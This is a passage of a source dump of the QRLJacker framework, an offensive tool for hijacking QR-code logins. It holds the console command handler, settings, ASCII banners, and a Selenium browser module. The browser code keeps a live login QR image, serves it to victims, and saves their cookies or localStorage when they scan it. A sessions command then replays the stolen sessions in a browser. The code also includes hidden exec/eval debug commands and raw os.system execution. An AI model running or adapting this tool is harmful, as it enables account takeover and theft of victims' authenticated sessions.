30 | database Prints the core version, check if framework is up-to-date and update if you are not up-to-date.
31 | debug Drop into debug mode or disable it. (Making identifying problems easier)
32 | dev Drop into development mode or disable it. (Reload modules every use)
33 | verbose Drop into verbose mode or disable it. (Make framework displays more details)
34 | reload/refresh Reload the modules database.
35 |
36 | Resources commands
37 | ==================
38 | Command Description
39 | --------- -------------
40 | history Display commandline most important history from the beginning.
41 | makerc Save the most important commands entered since start to a file.
42 | resource Run the commands stored in a file.
43 |
44 | Sessions management commands
45 | ============================
46 | Command Description
47 | --------- -------------
48 | sessions (-h) Dump session listings and display information about sessions.
49 | jobs (-h) Displays and manages jobs."""+end
50 |
51 | module_help = G+"""
52 |
53 | Module commands
54 | ===============
55 | Command Description
56 | --------- -------------
57 | list/show List modules you can use.
58 | use Use an available module.
59 | info Get information about an available module.
60 | previous Runs the previously loaded module.
61 | search Search for a module by a specific text in its name or in its description.
62 | """+end
63 |
64 | # To use with session command
65 | sessions_parser = argparse.ArgumentParser(prog="sessions",add_help=False)
66 | sessions_parser.add_argument('-h', action="store_true", help="Show this help message.") # I done that because print the normal help exits the framework
67 | sessions_parser.add_argument('-l', action="store_true", help='List all captured sessions.')
68 | sessions_parser.add_argument('-K', action="store_true", help='Remove all captured sessions.')
69 | sessions_parser.add_argument('-s', metavar='', help='Search for sessions with a specifed type.')
70 | sessions_parser.add_argument('-k', metavar='', help='Remove a specifed captured session by ID')
71 | sessions_parser.add_argument('-i', metavar='', help='Interact with a captured session by ID.')
72 | # Yeah, you must have noticed that I'm trying to make sessions arguments are the same as metasploit to not make you feel weird :D
73 |
74 | def general_commands(command, args=None, full_help=module_help):
75 |
76 | if command=="banner":
77 | utils.banner(modules)
78 | return True
79 |
80 | elif command=="history":
81 | n = -1
82 | for i in range( len(Settings.history) ):
83 | print( Settings.history[n] )
84 | n -= 1
85 | return True
86 |
87 | elif command=="makerc":
88 | file_name = "history.txt"
89 | if args and len(args.split(" "))>0:
90 | file_name = args.split(" ")[0]
91 | f = open(file_name,"w")
92 | for line in Settings.history:
93 | f.write(line+"\n")
94 | f.close()
95 | status( "Command history saved to "+file_name )
96 | return True
97 |
98 | elif command in ["help","?"]:
99 | print(help_msg+full_help)
100 | return True
101 |
102 | elif command in ["exit","quit"]:
103 | if Settings.headless_browser:
104 | Settings.headless_browser.close_all()
105 | Settings.headless_browser = None
106 | exit(0)
107 |
108 | else:
109 | return False
110 |
111 | chars_filter = { ";":"{{Semi-Colon}}" } # Here we add all the chars that may do some problems while processing
112 | def start(rc=False):
113 | myinput = utils.getinput()
114 | utils.Input_completer(all_keywords+modules )
115 | while True:
116 | if sys.stdin.closed or sys.stdout.closed:
117 | exit(0)
118 | try:
119 | name = Settings.name
120 | if rc:
121 | cmd = rc
122 | print("\n"+name+G+" > "+end+cmd)
123 | else:
124 | cmd = myinput("\n"+name+G+" > "+end)
125 |
126 | cmd = cmd.strip()
127 | special_char = False
128 | for q in ["'",'"']:
129 | if cmd.count(q) >=2:
130 | special_char = q
131 |
132 | if special_char:
133 | # Welcome to the new age of the quick shitty special characters filters..
134 | quoted = cmd.split(special_char)[1] # Get the first thing between quotes
135 | for char in chars_filter:
136 | quoted = quoted.replace(char,chars_filter[char])
137 | cmd = cmd.replace( cmd.split(special_char)[1].join([special_char]*2), quoted )
138 | # Not the filter this framework deserves but, the filter it needed..lol
139 |
140 | for c in cmd.split(";"):
141 | for char in chars_filter:
142 | c = c.replace(chars_filter[char],char) # Yeah reversing
143 | if len( cmd.split(";") ) > 1:
144 | print(G+" > "+end+ c)
145 | if Settings.running_module:
146 | module.handle(c)
147 | continue
148 |
149 | head = c.lower().split()[0]
150 | args = " ".join(c.split()[1:])
151 |
152 | if not general_commands(head, args=args):
153 | command_handler(c)
154 | except KeyboardInterrupt:
155 | print()
156 | error("KeyboardInterrupt use exit command!")
157 | continue
158 | except Exception as e:
159 | if Settings.debug:
160 | print("\nInput function error:")
161 | print(" Exception -> "+str(e))
162 | print(" Input -> "+str(cmd))
163 | print(" Trackback -> ")
164 | traceback.print_exc()
165 | break
166 | finally:
167 | if rc:
168 | time.sleep(0.3)
169 | break
170 |
171 | #A function for every command (helpful in the future)
172 | def command_handler(c):
173 | #parsing a command and pass to its function
174 | if c=="" or c[0]=="#":return
175 | command = c.lower().split()[0]
176 | args = " ".join(c.split()[1:])
177 | try:
178 | handler = globals()["command_{}".format(command)]
179 | handler(args)
180 | Settings.update_history(c) # Log the important commands and the ones that doesn't gave error :D
181 | except Exception as e:
182 | if command not in all_keywords:
183 | error( command + " is not recognized as an internal command !")
184 | #To check for the wanted command on typos
185 | wanted = utils.grab_wanted(command,all_keywords)
186 | if len(wanted)>0:
187 | status( "Maybe you meant : " + wanted )
188 | else:
189 | error( "Error in executing command "+ command )
190 | status( "Type help or ? to learn more..")
191 |
192 | if Settings.debug:
193 | print("Exception -> "+str(e))
194 | print(" Input -> "+str(c))
195 | print(" Modules -> "+" ".join(modules))
196 | print("Trackback -> ")
197 | traceback.print_exc()
198 |
199 | def command_list(text=False):
200 | cols = [G+Bold+"Name"+end,G+Bold+"Description"+end]
201 | Columns = []
202 | for p in modules:
203 | info = db.grab(p)
204 | Columns.append([p ,info.short_description])
205 | utils.create_table(cols,Columns)
206 |
207 | def command_show(text=False):
208 | command_list(text)
209 |
210 | def command_search(text=False):
211 | if not text:
212 | error("You must enter a text to search for !")
213 | else:
214 | cols = [G+Bold+"Name"+end,G+Bold+"Description"+end]
215 | Columns = []
216 | text = text.lower()
217 | for p in modules:
218 | info = db.grab(p)
219 | full_text = " ".join([info.author, info.short_description, info.full_description if info.full_description else ""]).lower()
220 | if text in full_text:
221 | Columns.append([p ,info.short_description])
222 | if not Columns:
223 | error("Didn't find a module have the entered text!")
224 | else:
225 | utils.create_table(cols,Columns)
226 |
227 | def command_os(text=False):
228 | if text:
229 | os.system(text)
230 | else:
231 | error("You must enter a command to execute !")
232 | return
233 |
234 | def command_use(p=False):
235 | p = p.lower()
236 | if not p:
237 | error("You must enter a module to use !")
238 | return
239 | else:
240 | if p in modules:
241 | if Settings.running_module:
242 | Settings.update_previous()
243 | Settings.running_module = p
244 | module.Exec(all_keywords)
245 | return
246 | else:
247 | if Settings.debug:
248 | print("Module -> "+p)
249 | print("Loaded modules ->"+"\t".join(modules))
250 | error(p+" module not found!")
251 |
252 | def command_sessions(text=""):
253 | sessions_file = os.path.join("core","sessions.json")
254 | sessions = json.load(open( sessions_file ))
255 | try:
256 | cmd = sessions_parser.parse_args(text.split())
257 | except:
258 | cmd = sessions_parser.parse_args("") # Fuck you argparse, next time I will use more flexible module like getopt globally
259 | # I done this because any error argparse gives is printed and it exit the framework but now no
260 |
261 | if cmd.h:
262 | print(sessions_parser.format_help())
263 | return
264 |
265 | elif not text or cmd.l:
266 | if not sessions:
267 | error("No captured sessions.")
268 | else:
269 | cols = [G+Bold+"ID"+end, G+Bold+"Module name"+end,G+Bold+"Captured on"+end]
270 | Columns = []
271 | for session_id in list(sessions.keys()):
272 | line = sessions[session_id]
273 | date = line["session_path"].replace( os.path.join("sessions",""),"").replace(".session","")
274 | Columns.append([session_id, line["name"], date])
275 | utils.create_table(cols,Columns)
276 |
277 | elif cmd.i:
278 | if not sessions:
279 | error("No captured sessions.")
280 | else:
281 | if not cmd.i:
282 | error("Enter a session ID to interact with!")
283 | elif cmd.i not in list(sessions.keys()):
284 | error("Invalid session ID!")
285 | else:
286 | if not Settings.visible_browser:
287 | Settings.visible_browser = browser.visible_browsers()
288 | status(f"Starting interaction with ({cmd.i})...")
289 | if sessions[cmd.i]["session_type"] == "localStorage":
290 | Settings.visible_browser.load_localstorage(cmd.i)
291 | else:
292 | Settings.visible_browser.load_cookie(cmd.i)
293 |
294 | elif cmd.k:
295 | if not sessions:
296 | error("No captured sessions.")
297 | else:
298 | if not cmd.k:
299 | error("Enter a session ID to interact with!")
300 | elif cmd.k not in list(sessions.keys()):
301 | error("Invalid session ID!")
302 | else:
303 | session_file = sessions[cmd.k]["session_path"]
304 | os.remove(session_file)
305 | sessions.pop(cmd.k)
306 | f = open( sessions_file,"w" )
307 | json.dump(sessions, f, indent=2)
308 | f.close()
309 | status(f"Session ({cmd.k}) removed!")
310 |
311 | elif cmd.s:
312 | if not sessions:
313 | error("No captured sessions.")
314 | else:
315 | if not cmd.s:
316 | error("Enter a session type to filter with!")
317 | elif cmd.s not in [ sessions[i]["name"] for i in list(sessions.keys()) ]:
318 | error("Invalid session type!")
319 | else:
320 | cols = [G+Bold+"ID"+end, G+Bold+"Captured on"+end]
321 | Columns = []
322 | for session_id in list(sessions.keys()):
323 | line = sessions[session_id]
324 | if cmd.s == line["name"]:
325 | date = line["session_path"].replace( os.path.join("sessions",""),"").replace(".session","")
326 | Columns.append([session_id, date])
327 | utils.create_table(cols,Columns)
328 |
329 | elif cmd.K:
330 | if not sessions:
331 | error("No captured sessions.")
332 | else:
333 | for sess in list(sessions.keys()):
334 | session_file = sessions[sess]["session_path"]
335 | os.remove(session_file)
336 | f = open( sessions_file,"w" )
337 | json.dump({}, f, indent=2)
338 | f.close()
339 | status(f"All captured sessions removed!")
340 |
341 | def command_jobs(process=""):
342 | help_command = """
343 | usage: jobs [-h] [-l] [-K] [-k]
344 |
345 | optional arguments:
346 | -h Show this help message.
347 | -l List all running jobs.
348 | -K Terminate all running jobs.
349 | -k Terminate jobs by job ID or module name"""
350 |
351 | if process=="-h":
352 | print(help_command)
353 | return
354 |
355 | else:
356 | if not Settings.headless_browser or Settings.headless_browser.browsers=={}:
357 | error("No active jobs.")
358 | return
359 |
360 | option = process.split()[:1]
361 | args = process.split()[1:]
362 | if not process or option[0] =="-l":
363 | cols = [G+Bold+"ID"+end, G+Bold+"Module name"+end,G+Bold+"Serving on"+end]
364 | Columns = []
365 | for module_name in list(Settings.headless_browser.browsers.keys()):
366 | line = Settings.headless_browser.browsers[module_name]
367 | if Settings.headless_browser.browsers[module_name]["Status"]:
368 | uri = line["host"]+":"+line["port"]
369 | Columns.append([line["Controller"].session_id, module_name, uri])
370 | if Columns:
371 | utils.create_table(cols,Columns)
372 | else:
373 | error("No active jobs.")
374 |
375 | elif option[0]=="-k":
376 | if not args:
377 | error("Enter a job ID/module name to terminate!")
378 | else:
379 | for module_name in list(Settings.headless_browser.browsers.keys()):
380 | if Settings.headless_browser.browsers[module_name]["Controller"].session_id == args[0]:
381 | Settings.headless_browser.close_job(module_name)
382 | status("Job terminated successfully!")
383 | return
384 | for module_name in list(Settings.headless_browser.browsers.keys()):
385 | if module_name == args[0]:
386 | Settings.headless_browser.close_job(module_name)
387 | status("Job terminated successfully!")
388 | return
389 | error("Job not found!")
390 |
391 | elif option[0] == "-K":
392 | Settings.headless_browser.close_all()
393 | Settings.headless_browser = None
394 | status("All jobs terminated successfully!")
395 |
396 | else:
397 | error("Invalid option!")
398 |
399 | def command_previous(p=False):
400 | if len(Settings.previous)!=0:
401 | prev = Settings.previous.pop(-1)
402 | command_use(prev)
403 | else:
404 | error("You haven't used a modules yet !")
405 |
406 | def command_resource(p=False):
407 | try:
408 | with open(p,"r") as f:
409 | cmds = f.readlines()
410 | for cmd in cmds:
411 | start(cmd.strip())
412 | except:
413 | if not p:
414 | error("Enter a resource file to read!")
415 | else:
416 | if Settings.debug:
417 | print(" Input -> "+str(p))
418 | print(" Dir -> "+str(os.getcwd()))
419 | error("Can't open the specifed resource file!")
420 | return
421 |
422 | def command_info(p=False):
423 | if not p:
424 | error("You must enter a module to get it's information !")
425 | return
426 | p = p.lower()
427 | if p in modules:
428 | info = db.grab(p)
429 | print( " Module : " + utils.humanize(p) )
430 | print( " Provided by : " + info.author )
431 | if info.full_description:
432 | print( " Description : " + info.full_description )
433 | else:
434 | print( " Description : " + info.short_description )
435 | else:
436 | error(p+" module not found!")
437 |
438 | def command_reload(text=False):
439 | global modules
440 | modules = db.index_modules()
441 | status("Database updated! ( {} module(s) loaded now )".format( len(modules) ) )
442 | utils.Input_completer(all_keywords+utils.my_map(lambda x: utils.pythonize(x).split(".")[-1],modules) )
443 |
444 | def command_refresh(text=False):
445 | command_reload(text)
446 |
447 | def command_database(text=False):
448 | status("Checking...")
449 | v = open(os.path.join(Settings.path, "core", "Data", "version.txt")).read().strip()
450 | status("Core database "+Y+v)
451 | lol = utils.check_version()
452 | if lol and lol==v:
453 | status("You are up-to-date!")
454 | elif not lol:
455 | error("Error in connection! Check your internet!")
456 | else:
457 | error("The latest core database is "+lol)
458 | status("Updating...")
459 | os.chdir("..")
460 | os.popen("git pull")
461 | os.chdir("QRLJacker")
462 | status("Framework updated successfully!")
463 |
464 | def command_exec(text=False): # A hidden command to use in debugging :D
465 | if Settings.debug and text:
466 | exec(text)
467 |
468 | def command_eval(text=False): # Aaaaaand another hidden one :D
469 | if Settings.debug and text:
470 | eval(text)
471 |
472 | def command_report(text=False):
473 | if Settings.debug:
474 | if Settings.headless_browser:
475 | for key in Settings.headless_browser.browsers:
476 | print("Key: "+key)
477 | print("Data: ")
478 | print(Settings.headless_browser.browsers[key]["Controller"].capabilities)
479 | break
480 |
481 | # if its value is False the result will be mode=(False==False) so the mode will be True and so on, yup it's magic :D
482 | def command_debug(text=False):
483 | Settings.debug = (Settings.debug==False)
484 | status("Debug mode " + {True:"enabled!",False:"disabled!"}[Settings.debug] )
485 |
486 | def command_dev(text=False):
487 | Settings.development = (Settings.development==False)
488 | status("Development mode " + {True:"enabled!",False:"disabled!"}[Settings.development] )
489 |
490 | def command_verbose(text=False):
491 | Settings.verbose = (Settings.verbose==False)
492 | status("Verbose mode " + {True:"enabled!",False:"disabled!"}[Settings.verbose] )
493 |
--------------------------------------------------------------------------------
/core/QRLJacker/core/Data/banners.txt:
--------------------------------------------------------------------------------
1 | _
2 | / \ __ _\( )/_
3 | \ \ ,, / / | / \ | /(O)\
4 | '-.`\()/`.-' \_\\ //_/ _.._ _\(o)/_ // \\
5 | .--_'( )'_--. .'/()\'. .' '. /(_)\ _\\()//_
6 | / /` /`""`\ `\ \ \\ // / __ \ / // \\ \
7 | | | >< | | , | >< | , | \__/ |
8 | \ \ / / . \ \ / / . _
9 | _ '.__.' _\(O)/_ \_'--`( )'--'_/ __ _\(_)/_
10 | _\( )/_ /(_)\ .--'/()\'--. | / \ | /(O)\
11 | /(O)\ // \\ _ / /` '' `\ \ \_\\ //_/ {Name}
12 | _\\()//_ _\(_)/_ | | //()\\ {Description}
13 | / // \\ \ /(o)\ \ / \\ // {Loaded}
14 | | \__/ | GANG BANG!!
15 | $$$$$AnyShIt$$$$$$
16 | _____________________________________
17 | !\/ ! \/ ./
18 | !/\ ! |\ ./
19 | ! \ ! / \ ./
20 | ! \______!______| \ ,/
21 | ! /\ ! ./\ ,/
22 | ! / \ ! | \ ,/
23 | !/ \___!____| ,/ Everything is connected, even the simplest things!
24 | ! / \ _!__ *\,/
25 | ! ! \ ! \,/
26 | ! ! | \! ,/
27 | !----------K/
28 | ! ! ,! /| {Name}
29 | ! !/ / | {Description}
30 | ! / \ / | {Loaded}
31 | !\./ \/ |
32 | !/\ / |
33 | ! \ / .o.
34 | ! \/ :O:
35 | ! / "
36 | ! /
37 | ! /
38 | !/
39 | !
40 | !
41 | !
42 | $$$$$AnyShIt$$$$$$
43 | :'#######::'########::'##:::::::::::::'##::::'###:::::'######::'##:::'##:'########:'########::
44 | '##.... ##: ##.... ##: ##::::::::::::: ##:::'## ##:::'##... ##: ##::'##:: ##.....:: ##.... ##:
45 | ##:::: ##: ##:::: ##: ##::::::::::::: ##::'##:. ##:: ##:::..:: ##:'##::: ##::::::: ##:::: ##:
46 | ##:::: ##: ########:: ##::::::::::::: ##:'##:::. ##: ##::::::: #####:::: ######::: ########:: {Name}
47 | ##:'## ##: ##.. ##::: ##:::::::'##::: ##: #########: ##::::::: ##. ##::: ##...:::: ##.. ##::: {Description}
48 | ##:.. ##:: ##::. ##:: ##::::::: ##::: ##: ##.... ##: ##::: ##: ##:. ##:: ##::::::: ##::. ##:: {Loaded}
49 | : ##### ##: ##:::. ##: ########:. ######:: ##:::: ##:. ######:: ##::. ##: ########: ##:::. ##:
50 | :.....:..::..:::::..::........:::......:::..:::::..:::......:::..::::..::........::..:::::..::
51 | $$$$$AnyShIt$$$$$$
52 | ==========
53 | == ==
54 | = ==== =
55 | = ==== =
56 | = ==== = {Name}
57 | = ==== = {Description}
58 | = ==== = {Loaded}
59 | = = = =
60 | = == =
61 | == ==
62 | ==========
63 | $$$$$AnyShIt$$$$$$
64 | ▄▄▄▄▄▄▄ ▄ ▄▄ ▄▄▄▄▄▄▄
65 | █ ▄▄▄ █ ██ ▀▄ █ ▄▄▄ █
66 | █ ███ █ ▄▀ ▀▄ █ ███ █
67 | █▄▄▄▄▄█ █ ▄▀█ █▄▄▄▄▄█
68 | ▄▄ ▄ ▄▄▀██▀▀ ▄▄▄ ▄▄
69 | ▄██ ▀ ▄ █▄▀ ▄ ▄█▀▀ ▄ {Name}
70 | █▀█▄▄█▄ ▀▀▄▀▄▄▀ ▀▀▄ █ {Description}
71 | ▄▄▄▄▄▄▄ █ ▄▀ ▄█▄▄██ {Loaded}
72 | █ ▄▄▄ █ ▄▄█▀█▄ ▀ ▄▄
73 | █ ███ █ ▀▀█▀▄ ██ ▀▀█
74 | █▄▄▄▄▄█ █▀ ▄▄▀▀ █▄ ▄
75 |
--------------------------------------------------------------------------------
/core/QRLJacker/core/Data/version.txt:
--------------------------------------------------------------------------------
1 | 2.1.1
2 |
--------------------------------------------------------------------------------
/core/QRLJacker/core/Settings.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3.7
2 | # Here I put all the constant things between the scripts so I don't forget them
3 | # Also give myself another reason to start refactoring the whole code in OOP :D
4 |
5 | from core.color import *
6 | global debug,development,verbose
7 | global path,history,running_module,name,headless_browser,visible_browser
8 | global previous
9 | path = None # The core directory we started in
10 | debug = False # Framework mode
11 | development = False # Framework mode
12 | verbose = False # Framework mode
13 | running_module = False # The current running module and used to decide which cli to use
14 | headless_browser = False # The current instance of my headless browser class
15 | visible_browser = False # The current instance of my visible browser class
16 | previous = [] # All modules used before, using this in previous command
17 | history = [] # Used in commands history ofc!
18 |
19 | # I know I could use simply use `list.append(element)` but this way looks cooler :"D
20 | update_history = lambda h:history.append(h)
21 | update_previous = lambda:previous.append(running_module)
22 |
23 | name = W+underline+"QrlJacker"+end
24 | def add_module(p): global name;name = W+underline+"QrlJacker"+end+ W+" Module("+R+p+W+")"+end # Fuck lambda
25 | def reset_name() : global name;name = W+underline+"QrlJacker"+end
26 |
--------------------------------------------------------------------------------
/core/QRLJacker/core/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Erik172/Z0172CK-Tools/a9c031d1ce37c3713b4b535fdc15d2d33d974cb8/core/QRLJacker/core/__init__.py
--------------------------------------------------------------------------------
/core/QRLJacker/core/browser.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3.7
2 | from selenium.webdriver import Firefox,FirefoxProfile
3 | from selenium.webdriver.firefox.options import Options
4 | from user_agent import generate_user_agent
5 | from core.color import *
6 | from core.module_utils import *
7 | from core import Settings
8 | import os, pickle, json, time, threading, functools, traceback
9 |
10 | # In Sessions folder we have a json file contains all data about sessions like ids and cookie file path that saved with pickle
11 |
12 | def generate_profile(useragent="(default)"):
13 | profile = FirefoxProfile()
14 | if useragent.strip().lower()=="(default)":
15 | status("Using the default useragent")
16 | return profile
17 | elif useragent.strip().lower()=="(random)":
18 | random_useragent = generate_user_agent(os=('mac', 'linux'))
19 | profile.set_preference("general.useragent.override", random_useragent) # To make our useragent random
20 | status("Using random useragent "+random_useragent)
21 | return profile
22 | else:
23 | profile.set_preference("general.useragent.override", useragent)
24 | status("Using useragent "+useragent)
25 | return profile
26 |
27 | def Run_inside_thread(thread_name):
28 | def hook(func):
29 | @functools.wraps(func)
30 | def wrapper(*args, **kwargs):
31 | thread = threading.Thread(target=func, name=thread_name, args=args, kwargs=kwargs)
32 | thread.daemon = True
33 | thread.start()
34 | return wrapper
35 | return hook
36 |
37 | class headless_browsers:
38 | # Here we create invisble browsers, fast and in an organized way without repeating browsers for the same module
39 | def __init__(self):
40 | self.opts = Options()
41 | self.opts.add_argument("--headless") # To make firefox invisible of course (Headless)
42 | self.browsers = {} # Here we save all the browsers we create so we can control and use later
43 | self.useragent = ""
44 | self.sessions_file = os.path.join("core","sessions.json")
45 |
46 | def new_session(self, module_name, url, useragent="(random)"):
47 | if self.browsers!={} and module_name in list(self.browsers.keys()) and self.browsers[module_name]["Status"]:
48 | return {"Status":"Duplicate"}
49 | else:
50 | new_headless = {module_name:{"host":"","port":""}}
51 |
52 | new_headless[module_name]["url"] = url
53 | if not useragent.strip(): # This if condition is useless because module won't let the useragent to be empty but I will leave it just in case...
54 | return {"Status":"Invalid useragent"}
55 | else:
56 | profile = generate_profile(useragent)
57 | try:
58 | #TODO
59 | new_headless[module_name]["Controller"] = None
60 | if Settings.debug:
61 | new_headless[module_name]["Controller"] = Firefox(profile)#options=self.opts) # Inserting the browser object
62 | else:
63 | new_headless[module_name]["Controller"] = Firefox(profile, options=self.opts) # Inserting the browser object
64 | except Exception as e:
65 | if Settings.debug:
66 | print(" Exception: "+str(e))
67 | print(" Trackback: ")
68 | traceback.print_exc()
69 | return {"Status":"Failed"}
70 | else:
71 | new_headless[module_name]["Status"] = "Success"
72 | self.browsers.update(new_headless)
73 | new_headless[module_name]["Controller"].get(url)
74 | self.useragent = new_headless[module_name]["Controller"].execute_script("return navigator.userAgent;")
75 | return new_headless[module_name]
76 |
77 | @Run_inside_thread("Sessions catcher thread")
78 | def create_listener(self, module_name, change_identifier, session_type):
79 | # If I used another function to run this one as thread, python would be upset :D
80 | # So I'm using a decorator and also it looks cooler :D
81 | try:
82 | status(f"Waiting for sessions on {module_name}")
83 | controller = self.browsers[module_name]["Controller"]
84 | if controller:
85 | while self.browsers[module_name]["Status"] == "Success":
86 | null = controller.find_elements_by_xpath(change_identifier)
87 | if not null:
88 | # If we got here then that means we got session
89 | print()
90 | status(f"Got session on {module_name} module")
91 | if session_type.lower() == "localstorage":
92 | self.save_localstorage(module_name)
93 | else:
94 | self.save_cookie(module_name)
95 |
96 | if Settings.verbose:
97 | status("Reseting browser cookies and localStorage to start over..")
98 | #self.restart_session(self.browsers[module_name])
99 | controller.delete_all_cookies()
100 | controller.execute_script("window.localStorage.clear()")
101 | controller.refresh()
102 | if Settings.verbose:
103 | status("Session reset successfully")
104 | time.sleep(5)
105 | else:
106 | time.sleep(5)
107 | else:
108 | error(f"Browser controller hasn't been created [{module_name}]")
109 | except:
110 | return
111 |
112 | @Run_inside_thread("QR updater thread")
113 | def website_qr(self, module_name, img_xpath):
114 | # Always download the QR image from the site to use it in the webserver
115 | status(f"Running a thread to keep the QR image [{module_name}]")
116 | controller = self.browsers[module_name]["Controller"]
117 | if controller:
118 | while self.browsers[module_name]["Status"] == "Success":
119 | try:
120 | misc.Screenshot(controller, img_xpath, module_name)
121 | #if Settings.verbose: status(f"QR code image updated! [{module_name}]")
122 | time.sleep(3)
123 | except:
124 | time.sleep(1)
125 | else:
126 | error(f"Browser controller hasn't been created [{module_name}]")
127 |
128 | @Run_inside_thread("Idle detector thread")
129 | def check_img(self, module_name, button_xpath):
130 | # Checks if QR image got blocked by a reloading button and click it
131 | status(f"Running a thread to detect Idle once it happens then click the QR reload button [{module_name}]")
132 | controller = self.browsers[module_name]["Controller"]
133 | if controller:
134 | while self.browsers[module_name]["Status"] == "Success":
135 | try:
136 | btn = controller.find_element_by_xpath(button_xpath) # now it should work
137 | # If we got here then that means we got the button
138 | if Settings.verbose: status(f"Idle detected, Reloading QR code image [{module_name}]")
139 | btn.click()
140 | time.sleep(5)
141 | except:
142 | time.sleep(1) # Yeah we need to be fast
143 | else:
144 | error(f"Browser controller hasn't been created [{module_name}]")
145 |
146 | @Run_inside_thread("Webserver manager thread")
147 | def serve_module(self, module_name, host, port):
148 | # Start a webserver for module and automatically close it when module closed
149 | status(f"Initializing webserver... [{module_name}]")
150 | self.browsers[module_name]["host"] = "http://"+host
151 | self.browsers[module_name]["port"] = str(port)
152 | webserver = server(name=module_name,port=port)
153 | webserver.start_serving(host)
154 | while self.browsers[module_name]["Status"] == "Success":
155 | time.sleep(1)
156 | # Well, the module got stopped
157 | webserver.stop_web_server()
158 |
159 | def save_localstorage(self,module_name):
160 | browser = self.browsers[module_name]["Controller"]
161 | session_file_name = os.path.join( "sessions",time.ctime().replace(" ","-") )+".session"
162 | session_file = open(session_file_name,"wb")
163 | pickle.dump( browser.execute_script("return localStorage"), session_file)
164 | session_file.close()
165 | if Settings.debug:
166 | status("localStorage data saved in "+session_file_name)
167 | # Now let's save session details into sessions file
168 | with open( self.sessions_file ) as f:
169 | try:
170 | sessions = json.load(f)
171 | except:
172 | sessions = {}
173 |
174 | for i in range(0,1000):
175 | if str(i) not in list(sessions.keys()):
176 | session_id = str(i)
177 | break
178 |
179 | session = {
180 | session_id:{
181 | "name":module_name,
182 | "web_url":self.browsers[module_name]["url"],
183 | "session_type":"localStorage",
184 | "useragent":self.useragent,
185 | "session_path":session_file_name
186 | }
187 | }
188 | sessions.update(session)
189 | f = open( self.sessions_file,"w" )
190 | json.dump(sessions, f, indent=2)
191 | f.close()
192 | status("Session saved successfully")
193 |
194 | def save_cookie(self,module_name):
195 | # First let's save the browser cookies before anything
196 | browser = self.browsers[module_name]["Controller"]
197 | session_file_name = os.path.join( "sessions",time.ctime().replace(" ","-") )+".session"
198 | session_file = open(session_file_name,"wb")
199 | pickle.dump( browser.get_cookies(), session_file)
200 | session_file.close()
201 | if Settings.debug:
202 | status("Cookies saved in "+session_file_name)
203 | # Now let's save session details into sessions file
204 | with open( self.sessions_file ) as f:
205 | try:
206 | sessions = json.load(f)
207 | except:
208 | sessions = {}
209 |
210 | for i in range(0,1000):
211 | if str(i) not in list(sessions.keys()):
212 | session_id = str(i)
213 | break
214 |
215 | session = {
216 | session_id:{
217 | "name":module_name,
218 | "web_url":self.browsers[module_name]["url"],
219 | "session_type":"cookie",
220 | "useragent":self.useragent,
221 | "session_path":session_file_name
222 | }
223 | }
224 | sessions.update(session)
225 | f = open( self.sessions_file,"w" )
226 | json.dump(sessions, f, indent=2)
227 | f.close()
228 | status("Session saved successfully")
229 |
230 | def close_all(self):
231 | if self.browsers!={}: # I'm using this comparsion because it's is faster than comparsion with keys length btw
232 | for module_name in list(self.browsers.keys()):
233 | try:
234 | self.browsers[module_name]["Controller"].close() # To close the browser
235 | except: # Some one played with the browser so it lost control lol
236 | pass
237 | self.browsers[module_name]["Controller"] = None # Reseting the browser controller
238 | self.browsers[module_name]["Status"] = None # To close any listener working on this browser
239 |
240 | def close_job(self, module_name):
241 | if self.browsers!={}:
242 | if module_name in list(self.browsers.keys()):
243 | try:
244 | self.browsers[module_name]["Controller"].close() # To close the browser
245 | except: # Some one played with the browser so it lost control lol
246 | pass
247 | self.browsers[module_name]["Controller"] = None # Reseting the browser controller
248 | self.browsers[module_name]["Status"] = None # To close any listener working on this browser
249 |
250 | class visible_browsers:
251 | # Here we open sessions for user with cookies we already have from sessions
252 | def __init__(self):
253 | self.browsers = []
254 | self.sessions_file = os.path.join("core","sessions.json")
255 |
256 | def load_localstorage(self, session_id):
257 | sessions = json.load(open( self.sessions_file ))
258 | storage_path = sessions[str(session_id)]["session_path"]
259 | url = sessions[str(session_id)]["web_url"]
260 | # Setting useragent to the same one the session saved with
261 | useragent = sessions[str(session_id)]["useragent"]
262 | profile = FirefoxProfile()
263 | profile.set_preference("general.useragent.override", useragent )
264 | localStorage = pickle.load(open(storage_path, "rb"))
265 | try:
266 | browser = Firefox(profile)
267 | except:
268 | error("Couldn't open browser to view session!")
269 | return
270 | browser.get(url)
271 | browser.delete_all_cookies()
272 | browser.execute_script("window.localStorage.clear()") # clear the current localStorage
273 | for key,value in localStorage.items():
274 | browser.execute_script("window.localStorage.setItem(arguments[0], arguments[1]);", key, value)
275 | status(f"Session {session_id} loaded")
276 | browser.refresh()
277 | self.browsers.append(browser)
278 |
279 | def load_cookie(self, session_id):
280 | sessions = json.load(open( self.sessions_file ))
281 | cookie_path = sessions[str(session_id)]["session_path"]
282 | url = sessions[str(session_id)]["web_url"]
283 | # Setting useragent to the same one the session saved with
284 | useragent = sessions[str(session_id)]["useragent"]
285 | profile = FirefoxProfile()
286 | profile.set_preference("general.useragent.override", useragent )
287 | cookies = pickle.load(open(cookie_path, "rb"))
288 | try:
289 | browser = Firefox(profile)
290 | except:
291 | error("Couldn't open browser to view session!")
292 | return
293 | browser.get(url)
294 | browser.delete_all_cookies()
295 | browser.execute_script("window.localStorage.clear()") # clear the current localStorage
296 | for cookie in cookies:
297 | browser.add_cookie(cookie)
298 | status(f"Session {session_id} loaded")
299 | browser.refresh()
300 | self.browsers.append(browser)
301 |
--------------------------------------------------------------------------------
/core/QRLJacker/core/color.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3.7
2 | # -*- coding: utf-8 -*-
3 | #Written by: Karim shoair - D4Vinci ( QrlJacker-Framework )
4 | import os,sys
5 | #green - yellow - blue - red - white - magenta - cyan - reset
6 | G, Y, B, R, W, M, C, end, Bold, underline = '\033[32m', '\033[93m', '\033[94m', '\033[31m', '\x1b[37m', '\x1b[35m', '\x1b[36m', '\033[0m', "\033[1m", "\033[4m"
7 |
8 | def status(text):
9 | print( end+C+"[+] "+end+G+text+end )
10 |
11 | def error(text):
12 | print( end+M+"[!] "+end+R+text+end )
13 |
14 | def warning(text):
15 | print( end+B+"[W] "+end+Y+text+end )
16 |
17 | def goodbye():
18 | #print(G+" Thanks for playing with "+B+"QrlJacker-Framework! "+R+"<3"+end)
19 | #Never say goodbye :V
20 | exit(0)
21 |
